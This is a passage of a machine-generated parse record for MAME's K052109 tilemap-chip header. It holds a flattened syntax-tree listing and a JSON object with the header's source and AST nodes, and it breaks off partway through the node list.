code in the tile_info\n structure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the\n chip so it must not be set by the callback.\n */" (expression_statement) "DECLARE_READ8_MEMBER( read );" (call_expression) "DECLARE_READ8_MEMBER( read )" (identifier) "DECLARE_READ8_MEMBER" (argument_list) "( read )" (() "(" (identifier) "read" ()) ")" (;) ";" (expression_statement) "DECLARE_WRITE8_MEMBER( write );" (call_expression) "DECLARE_WRITE8_MEMBER( write )" (identifier) "DECLARE_WRITE8_MEMBER" (argument_list) "( write )" (() "(" (identifier) "write" ()) ")" (;) ";" (expression_statement) "DECLARE_READ16_MEMBER( word_r );" (call_expression) "DECLARE_READ16_MEMBER( word_r )" (identifier) "DECLARE_READ16_MEMBER" (argument_list) "( word_r )" (() "(" (identifier) "word_r" ()) ")" (;) ";" (expression_statement) "DECLARE_WRITE16_MEMBER( word_w );" (call_expression) "DECLARE_WRITE16_MEMBER( word_w )" (identifier) "DECLARE_WRITE16_MEMBER" (argument_list) "( word_w )" (() "(" (identifier) "word_w" ()) ")" (;) ";" (expression_statement) "DECLARE_READ16_MEMBER( lsb_r );" (call_expression) "DECLARE_READ16_MEMBER( lsb_r )" (identifier) "DECLARE_READ16_MEMBER" (argument_list) "( lsb_r )" (() "(" (identifier) "lsb_r" ()) ")" (;) ";" (expression_statement) "DECLARE_WRITE16_MEMBER( lsb_w );" (call_expression) "DECLARE_WRITE16_MEMBER( lsb_w )" (identifier) "DECLARE_WRITE16_MEMBER" (argument_list) "( lsb_w )" (() "(" (identifier) "lsb_w" ()) ")" (;) ";" (declaration) "void set_rmrd_line(int state);" (primitive_type) "void" (function_declarator) "set_rmrd_line(int state)" (identifier) "set_rmrd_line" (parameter_list) "(int state)" (() "(" (parameter_declaration) "int state" (primitive_type) "int" (identifier) "state" ()) ")" (;) ";" (declaration) "int get_rmrd_line();" (primitive_type) "int" (function_declarator) "get_rmrd_line()" (identifier) "get_rmrd_line" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "void tilemap_update();" (primitive_type) "void" (function_declarator) "tilemap_update()" (identifier) "tilemap_update" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "int is_irq_enabled();" (primitive_type) "int" (function_declarator) "is_irq_enabled()" (identifier) "is_irq_enabled" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "void tilemap_mark_dirty(int tmap_num);" (primitive_type) "void" (function_declarator) "tilemap_mark_dirty(int tmap_num)" (identifier) "tilemap_mark_dirty" (parameter_list) "(int tmap_num)" (() "(" (parameter_declaration) "int tmap_num" (primitive_type) "int" (identifier) "tmap_num" ()) ")" (;) ";" (declaration) "void tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);" (primitive_type) "void" (function_declarator) "tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority)" (identifier) "tilemap_draw" (parameter_list) "(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority)" (() "(" (parameter_declaration) "screen_device &screen" (type_identifier) "screen_device" (ERROR) "&" (&) "&" (identifier) "screen" (,) "," (parameter_declaration) "bitmap_ind16 &bitmap" (type_identifier) "bitmap_ind16" (ERROR) "&" (&) "&" (identifier) "bitmap" (,) "," (parameter_declaration) "const rectangle &cliprect" (type_qualifier) "const" (const) "const" (type_identifier) "rectangle" (ERROR) "&" (&) "&" (identifier) "cliprect" (,) "," (parameter_declaration) "int tmap_num" (primitive_type) "int" (identifier) "tmap_num" (,) "," (parameter_declaration) "uint32_t flags" (primitive_type) "uint32_t" (identifier) "flags" (,) "," (parameter_declaration) "uint8_t priority" (primitive_type) "uint8_t" (identifier) "priority" ()) ")" (;) ";" (declaration) "void vblank_callback(screen_device &screen, bool state);" (primitive_type) "void" (function_declarator) "vblank_callback(screen_device &screen, bool state)" (identifier) "vblank_callback" (parameter_list) "(screen_device &screen, bool state)" (() "(" (parameter_declaration) "screen_device &screen" (type_identifier) "screen_device" (ERROR) "&" (&) "&" (identifier) "screen" (,) "," (parameter_declaration) "bool state" (primitive_type) "bool" (identifier) "state" ()) ")" (;) ";" (labeled_statement) "protected:\n // device-level overrides\n virtual void device_start() override;" (statement_identifier) "protected" (:) ":" (comment) "// device-level overrides" (ERROR) "virtual void device_start() override" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "device_start() override" (identifier) "device_start" (parameter_list) "()" (() "(" ()) ")" (identifier) "override" (expression_statement) ";" (;) ";" (ERROR) "virtual void device_reset() override" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "device_reset()" (identifier) "device_reset" (parameter_list) "()" (() "(" ()) ")" (type_identifier) "override" (expression_statement) ";" (;) ";" (labeled_statement) "private:\n // internal state\n std::unique_ptr<uint8_t[]> m_ram;" (statement_identifier) "private" (:) ":" (comment) "// internal state" (labeled_statement) "std::unique_ptr<uint8_t[]> m_ram;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "unique_ptr<uint8_t[]> m_ram;" (binary_expression) "unique_ptr<uint8_t[]> m_ram" (binary_expression) "unique_ptr<uint8_t[]" (identifier) "unique_ptr" (<) "<" (subscript_expression) "uint8_t[]" (identifier) "uint8_t" ([) "[" (identifier) "" (]) "]" (>) ">" (identifier) "m_ram" (;) ";" (declaration) "uint8_t *m_videoram_F;" (primitive_type) "uint8_t" (pointer_declarator) "*m_videoram_F" (*) "*" (identifier) "m_videoram_F" (;) ";" (declaration) "uint8_t *m_videoram_A;" (primitive_type) "uint8_t" (pointer_declarator) "*m_videoram_A" (*) "*" (identifier) "m_videoram_A" (;) ";" (declaration) "uint8_t *m_videoram_B;" (primitive_type) "uint8_t" (pointer_declarator) "*m_videoram_B" (*) "*" (identifier) "m_videoram_B" (;) ";" (declaration) "uint8_t *m_videoram2_F;" (primitive_type) "uint8_t" (pointer_declarator) "*m_videoram2_F" (*) "*" (identifier) "m_videoram2_F" (;) ";" (declaration) "uint8_t *m_videoram2_A;" (primitive_type) "uint8_t" (pointer_declarator) "*m_videoram2_A" (*) "*" (identifier) "m_videoram2_A" (;) ";" (declaration) "uint8_t *m_videoram2_B;" (primitive_type) "uint8_t" (pointer_declarator) "*m_videoram2_B" (*) "*" (identifier) "m_videoram2_B" (;) ";" (declaration) "uint8_t *m_colorram_F;" (primitive_type) "uint8_t" (pointer_declarator) "*m_colorram_F" (*) "*" (identifier) "m_colorram_F" (;) ";" (declaration) "uint8_t *m_colorram_A;" (primitive_type) "uint8_t" (pointer_declarator) "*m_colorram_A" (*) "*" (identifier) "m_colorram_A" (;) ";" (declaration) "uint8_t *m_colorram_B;" (primitive_type) "uint8_t" (pointer_declarator) "*m_colorram_B" (*) "*" (identifier) "m_colorram_B" (;) ";" (declaration) "tilemap_t *m_tilemap[3];" (type_identifier) "tilemap_t" (pointer_declarator) "*m_tilemap[3]" (*) "*" (array_declarator) "m_tilemap[3]" (identifier) "m_tilemap" ([) "[" (number_literal) "3" (]) "]" (;) ";" (declaration) "int m_tileflip_enable;" (primitive_type) "int" (identifier) "m_tileflip_enable" (;) ";" (declaration) "uint8_t m_charrombank[4];" (primitive_type) "uint8_t" (array_declarator) "m_charrombank[4]" (identifier) "m_charrombank" ([) "[" (number_literal) "4" (]) "]" (;) ";" (declaration) "uint8_t m_charrombank_2[4];" (primitive_type) "uint8_t" (array_declarator) "m_charrombank_2[4]" (identifier) "m_charrombank_2" ([) "[" (number_literal) "4" (]) "]" (;) ";" (declaration) "uint8_t m_has_extra_video_ram;" (primitive_type) "uint8_t" (identifier) "m_has_extra_video_ram" (;) ";" (declaration) "int32_t m_rmrd_line;" (primitive_type) "int32_t" (identifier) "m_rmrd_line" (;) ";" (declaration) "uint8_t m_irq_enabled;" (primitive_type) "uint8_t" (identifier) "m_irq_enabled" (;) ";" (declaration) "uint8_t m_romsubbank, m_scrollctrl;" (primitive_type) "uint8_t" (identifier) "m_romsubbank" (,) "," (identifier) "m_scrollctrl" (;) ";" (expression_statement) "optional_region_ptr<uint8_t> m_char_rom;" (binary_expression) "optional_region_ptr<uint8_t> m_char_rom" (binary_expression) "optional_region_ptr<uint8_t" (identifier) "optional_region_ptr" (<) "<" (identifier) "uint8_t" (>) ">" (identifier) "m_char_rom" (;) ";" (expression_statement) "optional_device<screen_device> m_screen;" (binary_expression) "optional_device<screen_device> m_screen" (binary_expression) "optional_device<screen_device" (identifier) "optional_device" (<) "<" (identifier) "screen_device" (>) ">" (identifier) "m_screen" (;) ";" (declaration) "k052109_cb_delegate m_k052109_cb;" (type_identifier) "k052109_cb_delegate" (identifier) "m_k052109_cb" (;) ";" (declaration) "devcb_write_line m_irq_handler;" (type_identifier) "devcb_write_line" (identifier) "m_irq_handler" (;) ";" (declaration) "devcb_write_line m_firq_handler;" (type_identifier) "devcb_write_line" (identifier) "m_firq_handler" (;) ";" (declaration) "devcb_write_line m_nmi_handler;" (type_identifier) "devcb_write_line" (identifier) "m_nmi_handler" (;) ";" (expression_statement) "TILE_GET_INFO_MEMBER(get_tile_info0);" (call_expression) "TILE_GET_INFO_MEMBER(get_tile_info0)" (identifier) "TILE_GET_INFO_MEMBER" (argument_list) "(get_tile_info0)" (() "(" (identifier) "get_tile_info0" ()) ")" (;) ";" (expression_statement) "TILE_GET_INFO_MEMBER(get_tile_info1);" (call_expression) "TILE_GET_INFO_MEMBER(get_tile_info1)" (identifier) "TILE_GET_INFO_MEMBER" (argument_list) "(get_tile_info1)" (() "(" (identifier) "get_tile_info1" ()) ")" (;) ";" (expression_statement) "TILE_GET_INFO_MEMBER(get_tile_info2);" (call_expression) "TILE_GET_INFO_MEMBER(get_tile_info2)" (identifier) "TILE_GET_INFO_MEMBER" (argument_list) "(get_tile_info2)" (() "(" (identifier) "get_tile_info2" ()) ")" (;) ";" (declaration) "void get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );" (primitive_type) "void" (function_declarator) "get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 )" (identifier) "get_tile_info" (parameter_list) "( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 )" (() "(" (parameter_declaration) "tile_data &tileinfo" (type_identifier) "tile_data" (ERROR) "&" (&) "&" (identifier) "tileinfo" (,) "," (parameter_declaration) "int tile_index" (primitive_type) "int" (identifier) "tile_index" (,) "," (parameter_declaration) "int layer" (primitive_type) "int" (identifier) "layer" (,) "," (parameter_declaration) "uint8_t *cram" (primitive_type) "uint8_t" (pointer_declarator) "*cram" (*) "*" (identifier) "cram" (,) "," (parameter_declaration) "uint8_t *vram1" (primitive_type) "uint8_t" (pointer_declarator) "*vram1" (*) "*" (identifier) "vram1" (,) "," (parameter_declaration) "uint8_t *vram2" (primitive_type) "uint8_t" (pointer_declarator) "*vram2" (*) "*" (identifier) "vram2" ()) ")" (;) ";" (declaration) "void tileflip_reset();" (primitive_type) "void" (function_declarator) "tileflip_reset()" (identifier) "tileflip_reset" (parameter_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (expression_statement) "DECLARE_DEVICE_TYPE(K052109, k052109_device)" (call_expression) "DECLARE_DEVICE_TYPE(K052109, k052109_device)" (identifier) "DECLARE_DEVICE_TYPE" (argument_list) "(K052109, k052109_device)" (() "(" (identifier) "K052109" (,) "," (identifier) "k052109_device" ()) ")" (;) "" (#endif) "#endif" (comment) "// MAME_VIDEO_K052109_H"
726
18
{"language": "c", "success": true, "metadata": {"lines": 96, "avg_line_length": 39.8, "nodes": 466, "errors": 0, "source_hash": "9365e6d00d2699c9d35cebe85d12682a833d43a39ffc1d3434ad83c3258fbd0a", "categorized_nodes": 295}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef MAME_VIDEO_K052109_H\n#define MAME_VIDEO_K052109_H\n\n#pragma once\n\n#include \"screen.h\"\n\ntypedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate;\n#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)\n\n#define MCFG_K052109_CB(_class, _method) \\\n\tdowncast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class \"::\" #_method, this));\n\n#define MCFG_K052109_CHARRAM(_ram) \\\n\tdowncast<k052109_device &>(*device).set_ram(_ram);\n\n#define MCFG_K052109_SCREEN_TAG(_tag) \\\n\tdowncast<k052109_device &>(*device).set_screen_tag(\"^\" _tag);\n\n#define MCFG_K052109_IRQ_HANDLER(_devcb) \\\n\tdevcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);\n\n\nclass k052109_device : public device_t, public device_gfx_interface\n{\n\tstatic const gfx_layout charlayout;\n\tstatic const gfx_layout charlayout_ram;\n\tDECLARE_GFXDECODE_MEMBER(gfxinfo);\n\tDECLARE_GFXDECODE_MEMBER(gfxinfo_ram);\n\npublic:\n\tk052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);\n\t~k052109_device() {}\n\n\ttemplate <class Object> devcb_base &set_irq_handler(Object &&cb)\n\t{ return m_irq_handler.set_callback(std::forward<Object>(cb)); }\n\n\tvoid set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }\n\tvoid set_ram(bool ram);\n\tvoid set_screen_tag(const char *tag) { m_screen.set_tag(tag); }\n\n\t/*\n\tThe callback is passed:\n\t- layer number (0 = FIX, 1 = A, 2 = B)\n\t- bank (range 0-3, output of the pins CAB1 and CAB2)\n\t- code (range 00-FF, output of the pins VC3-VC10)\n\tNOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM\n\t- color (range 00-FF, output of the pins COL0-COL7)\n\tThe callback must put:\n\t- in code the resulting tile number\n\t- in color the resulting color index\n\t- if necessary, put flags and/or priority for the TileMap code in the tile_info\n\tstructure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the\n\tchip so it must not be set by the callback.\n\t*/\n\n\tDECLARE_READ8_MEMBER( read );\n\tDECLARE_WRITE8_MEMBER( write );\n\tDECLARE_READ16_MEMBER( word_r );\n\tDECLARE_WRITE16_MEMBER( word_w );\n\tDECLARE_READ16_MEMBER( lsb_r );\n\tDECLARE_WRITE16_MEMBER( lsb_w );\n\n\tvoid set_rmrd_line(int state);\n\tint get_rmrd_line();\n\tvoid tilemap_update();\n\tint is_irq_enabled();\n\tvoid tilemap_mark_dirty(int tmap_num);\n\tvoid tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);\n\n\tvoid vblank_callback(screen_device &screen, bool state);\n\nprotected:\n\t// device-level overrides\n\tvirtual void device_start() override;\n\tvirtual void device_reset() override;\n\nprivate:\n\t// internal state\n\tstd::unique_ptr<uint8_t[]> m_ram;\n\tuint8_t *m_videoram_F;\n\tuint8_t *m_videoram_A;\n\tuint8_t *m_videoram_B;\n\tuint8_t *m_videoram2_F;\n\tuint8_t *m_videoram2_A;\n\tuint8_t *m_videoram2_B;\n\tuint8_t *m_colorram_F;\n\tuint8_t *m_colorram_A;\n\tuint8_t *m_colorram_B;\n\n\ttilemap_t *m_tilemap[3];\n\tint m_tileflip_enable;\n\tuint8_t m_charrombank[4];\n\tuint8_t m_charrombank_2[4];\n\tuint8_t m_has_extra_video_ram;\n\tint32_t m_rmrd_line;\n\tuint8_t m_irq_enabled;\n\tuint8_t m_romsubbank, m_scrollctrl;\n\n\toptional_region_ptr<uint8_t> m_char_rom;\n\n\toptional_device<screen_device> m_screen;\n\n\tk052109_cb_delegate m_k052109_cb;\n\n\tdevcb_write_line m_irq_handler;\n\tdevcb_write_line m_firq_handler;\n\tdevcb_write_line m_nmi_handler;\n\n\tTILE_GET_INFO_MEMBER(get_tile_info0);\n\tTILE_GET_INFO_MEMBER(get_tile_info1);\n\tTILE_GET_INFO_MEMBER(get_tile_info2);\n\n\tvoid get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );\n\tvoid tileflip_reset();\n};\n\nDECLARE_DEVICE_TYPE(K052109, k052109_device)\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 48, 54, 61, 67, 73, 79, 465], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 121, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 7}}, {"id": 2, "type": "identifier", "text": "MAME_VIDEO_K052109_H", "parent": 0, "children": [], "start_point": {"row": 2, "column": 8}, "end_point": {"row": 2, "column": 28}}, {"id": 3, "type": "preproc_def", "text": "#define MAME_VIDEO_K052109_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 7}}, {"id": 5, "type": "identifier", "text": "MAME_VIDEO_K052109_H", "parent": 3, "children": [], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 28}}, {"id": 6, "type": "preproc_call", "text": "#pragma once\n", "parent": 0, "children": [7, 8], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 7, "type": "preproc_directive", "text": "#pragma", "parent": 6, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 8, "type": "preproc_arg", "text": "once", "parent": 6, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 12}}, {"id": 9, "type": "preproc_include", "text": "#include \"screen.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"screen.h\"", "parent": 9, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 19}}, {"id": 12, "type": "type_definition", "text": "typedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate;", "parent": 0, "children": [13, 14, 15, 47], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 122}}, {"id": 13, "type": "typedef", "text": "typedef", "parent": 12, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 14, "type": "type_identifier", "text": "device_delegate", "parent": 12, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 23}}, {"id": 15, "type": "ERROR", "text": "<void (int layer, int bank, int *code, int *color, int *flags, int *priority)>", "parent": 12, "children": [16, 17, 46], "start_point": {"row": 9, "column": 23}, "end_point": {"row": 9, "column": 101}}, {"id": 16, "type": "<", "text": "<", "parent": 15, "children": [], "start_point": {"row": 9, "column": 23}, "end_point": {"row": 9, "column": 24}}, {"id": 17, "type": "function_declarator", "text": "void (int layer, int bank, int *code, int *color, int *flags, int *priority)", "parent": 15, "children": [18, 19], "start_point": {"row": 9, "column": 24}, "end_point": {"row": 9, "column": 100}}, {"id": 18, "type": "primitive_type", "text": "void", "parent": 17, "children": [], "start_point": {"row": 9, "column": 24}, "end_point": {"row": 9, "column": 28}}, {"id": 19, "type": "parameter_list", "text": "(int layer, int bank, int *code, int *color, int *flags, int *priority)", "parent": 17, "children": [20, 23, 26, 31, 36, 41], "start_point": {"row": 9, "column": 29}, "end_point": {"row": 9, "column": 100}}, {"id": 20, "type": "parameter_declaration", "text": "int layer", "parent": 19, "children": [21, 22], "start_point": {"row": 9, "column": 30}, "end_point": {"row": 9, "column": 39}}, {"id": 21, "type": "primitive_type", "text": "int", "parent": 20, "children": [], "start_point": {"row": 9, "column": 30}, "end_point": {"row": 9, "column": 33}}, {"id": 22, "type": "identifier", "text": "layer", "parent": 20, "children": [], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 39}}, {"id": 23, "type": "parameter_declaration", "text": "int bank", "parent": 19, "children": [24, 25], "start_point": {"row": 9, "column": 41}, "end_point": {"row": 9, "column": 49}}, {"id": 24, "type": "primitive_type", "text": "int", "parent": 23, "children": [], "start_point": {"row": 9, "column": 41}, "end_point": {"row": 9, "column": 44}}, {"id": 25, "type": "identifier", "text": "bank", "parent": 23, "children": [], "start_point": {"row": 9, "column": 45}, "end_point": {"row": 9, "column": 49}}, {"id": 26, "type": "parameter_declaration", "text": "int *code", "parent": 19, "children": [27, 28], "start_point": {"row": 9, "column": 51}, "end_point": {"row": 9, "column": 60}}, {"id": 27, "type": "primitive_type", "text": "int", "parent": 26, "children": [], "start_point": {"row": 9, "column": 51}, "end_point": {"row": 9, "column": 54}}, {"id": 28, "type": "pointer_declarator", "text": "*code", "parent": 26, "children": [29, 30], "start_point": {"row": 9, "column": 55}, "end_point": {"row": 9, "column": 60}}, {"id": 29, "type": "*", "text": "*", "parent": 28, "children": [], "start_point": {"row": 9, "column": 55}, "end_point": {"row": 9, "column": 56}}, {"id": 30, "type": "identifier", "text": "code", "parent": 28, "children": [], "start_point": {"row": 9, "column": 56}, "end_point": {"row": 9, "column": 60}}, {"id": 31, "type": "parameter_declaration", "text": "int *color", "parent": 19, "children": [32, 33], "start_point": {"row": 9, "column": 62}, "end_point": {"row": 9, "column": 72}}, {"id": 32, "type": "primitive_type", "text": "int", "parent": 31, "children": [], "start_point": {"row": 9, "column": 62}, "end_point": {"row": 9, "column": 65}}, {"id": 33, "type": "pointer_declarator", "text": "*color", "parent": 31, "children": [34, 35], "start_point": {"row": 9, "column": 66}, "end_point": {"row": 9, "column": 72}}, {"id": 34, "type": "*", "text": "*", "parent": 33, "children": [], "start_point": {"row": 9, "column": 66}, "end_point": {"row": 9, "column": 67}}, {"id": 35, "type": "identifier", "text": "color", "parent": 33, "children": [], "start_point": {"row": 9, "column": 67}, "end_point": {"row": 9, "column": 72}}, {"id": 36, "type": "parameter_declaration", "text": "int *flags", "parent": 19, "children": [37, 38], "start_point": {"row": 9, "column": 74}, "end_point": {"row": 9, "column": 84}}, {"id": 37, "type": "primitive_type", "text": "int", "parent": 36, "children": [], "start_point": {"row": 9, "column": 74}, "end_point": {"row": 9, "column": 77}}, {"id": 38, "type": "pointer_declarator", "text": "*flags", "parent": 36, "children": [39, 40], "start_point": {"row": 9, "column": 78}, "end_point": {"row": 9, "column": 84}}, {"id": 39, "type": "*", "text": "*", "parent": 38, "children": [], "start_point": {"row": 9, "column": 78}, "end_point": {"row": 9, "column": 79}}, {"id": 40, "type": "identifier", "text": "flags", "parent": 38, "children": [], "start_point": {"row": 9, "column": 79}, "end_point": {"row": 9, "column": 84}}, {"id": 41, "type": "parameter_declaration", "text": "int *priority", "parent": 19, "children": [42, 43], "start_point": {"row": 9, "column": 86}, "end_point": {"row": 9, "column": 99}}, {"id": 42, "type": "primitive_type", "text": "int", "parent": 41, "children": [], "start_point": {"row": 9, "column": 86}, "end_point": {"row": 9, "column": 89}}, {"id": 43, "type": "pointer_declarator", "text": "*priority", "parent": 41, "children": [44, 45], "start_point": {"row": 9, "column": 90}, "end_point": {"row": 9, "column": 99}}, {"id": 44, "type": "*", "text": "*", "parent": 43, "children": [], "start_point": {"row": 9, "column": 90}, "end_point": {"row": 9, "column": 91}}, {"id": 45, "type": "identifier", "text": "priority", "parent": 43, "children": [], "start_point": {"row": 9, "column": 91}, "end_point": {"row": 9, "column": 99}}, {"id": 46, "type": ">", "text": ">", "parent": 15, "children": [], "start_point": {"row": 9, "column": 100}, "end_point": {"row": 9, "column": 101}}, {"id": 47, "type": "type_identifier", "text": "k052109_cb_delegate", "parent": 12, "children": [], "start_point": {"row": 9, "column": 102}, "end_point": {"row": 9, "column": 121}}, {"id": 48, "type": "preproc_function_def", "text": "#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)\n", "parent": 0, "children": [49, 50, 51, 53], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 49, "type": "#define", "text": "#define", "parent": 48, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 50, "type": "identifier", "text": "K052109_CB_MEMBER", "parent": 48, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 25}}, {"id": 51, "type": "preproc_params", "text": "(_name)", "parent": 48, "children": [52], "start_point": {"row": 10, "column": 25}, "end_point": {"row": 10, "column": 32}}, {"id": 52, "type": "identifier", "text": "_name", "parent": 51, "children": [], "start_point": {"row": 10, "column": 26}, "end_point": {"row": 10, "column": 31}}, {"id": 53, "type": "preproc_arg", "text": "void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)", "parent": 48, "children": [], "start_point": {"row": 10, "column": 35}, "end_point": {"row": 10, "column": 116}}, {"id": 54, "type": "preproc_function_def", "text": "#define MCFG_K052109_CB(_class, _method) \\\n\tdowncast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class \"::\" #_method, this));\n", "parent": 0, "children": [55, 56, 57, 60], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 55, "type": "#define", "text": "#define", "parent": 54, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 56, "type": "identifier", "text": "MCFG_K052109_CB", "parent": 54, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 23}}, {"id": 57, "type": "preproc_params", "text": "(_class, _method)", "parent": 54, "children": [58, 59], "start_point": {"row": 12, "column": 23}, "end_point": {"row": 12, "column": 40}}, {"id": 58, "type": "identifier", "text": "_class", "parent": 57, "children": [], "start_point": {"row": 12, "column": 24}, "end_point": {"row": 12, "column": 30}}, {"id": 59, "type": "identifier", "text": "_method", "parent": 57, "children": [], "start_point": {"row": 12, "column": 32}, "end_point": {"row": 12, "column": 39}}, {"id": 60, "type": "preproc_arg", "text": "downcast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class \"::\" #_method, this));", "parent": 54, "children": [], "start_point": {"row": 13, "column": 1}, "end_point": {"row": 13, "column": 126}}, {"id": 61, "type": "preproc_function_def", "text": "#define MCFG_K052109_CHARRAM(_ram) \\\n\tdowncast<k052109_device &>(*device).set_ram(_ram);\n", "parent": 0, "children": [62, 63, 64, 66], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 62, "type": "#define", "text": "#define", "parent": 61, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 7}}, {"id": 63, "type": "identifier", "text": "MCFG_K052109_CHARRAM", "parent": 61, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 28}}, {"id": 64, "type": "preproc_params", "text": "(_ram)", "parent": 61, "children": [65], "start_point": {"row": 15, "column": 28}, "end_point": {"row": 15, "column": 34}}, {"id": 65, "type": "identifier", "text": "_ram", "parent": 64, "children": [], "start_point": {"row": 15, "column": 29}, "end_point": {"row": 15, "column": 33}}, {"id": 66, "type": "preproc_arg", "text": "downcast<k052109_device &>(*device).set_ram(_ram);", "parent": 61, "children": [], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 51}}, {"id": 67, "type": "preproc_function_def", "text": "#define MCFG_K052109_SCREEN_TAG(_tag) \\\n\tdowncast<k052109_device &>(*device).set_screen_tag(\"^\" _tag);\n", "parent": 0, "children": [68, 69, 70, 72], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 68, "type": "#define", "text": "#define", "parent": 67, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 7}}, {"id": 69, "type": "identifier", "text": "MCFG_K052109_SCREEN_TAG", "parent": 67, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 31}}, {"id": 70, "type": "preproc_params", "text": "(_tag)", "parent": 67, "children": [71], "start_point": {"row": 18, "column": 31}, "end_point": {"row": 18, "column": 37}}, {"id": 71, "type": "identifier", "text": "_tag", "parent": 70, "children": [], "start_point": {"row": 18, "column": 32}, "end_point": {"row": 18, "column": 36}}, {"id": 72, "type": "preproc_arg", "text": "downcast<k052109_device &>(*device).set_screen_tag(\"^\" _tag);", "parent": 67, "children": [], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 62}}, {"id": 73, "type": "preproc_function_def", "text": "#define MCFG_K052109_IRQ_HANDLER(_devcb) \\\n\tdevcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);\n", "parent": 0, "children": [74, 75, 76, 78], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 23, "column": 0}}, {"id": 74, "type": "#define", "text": "#define", "parent": 73, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 7}}, {"id": 75, "type": "identifier", "text": "MCFG_K052109_IRQ_HANDLER", "parent": 73, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 32}}, {"id": 76, "type": "preproc_params", "text": "(_devcb)", "parent": 73, "children": [77], "start_point": {"row": 21, "column": 32}, "end_point": {"row": 21, "column": 40}}, {"id": 77, "type": "identifier", "text": "_devcb", "parent": 76, "children": [], "start_point": {"row": 21, "column": 33}, "end_point": {"row": 21, "column": 39}}, {"id": 78, "type": 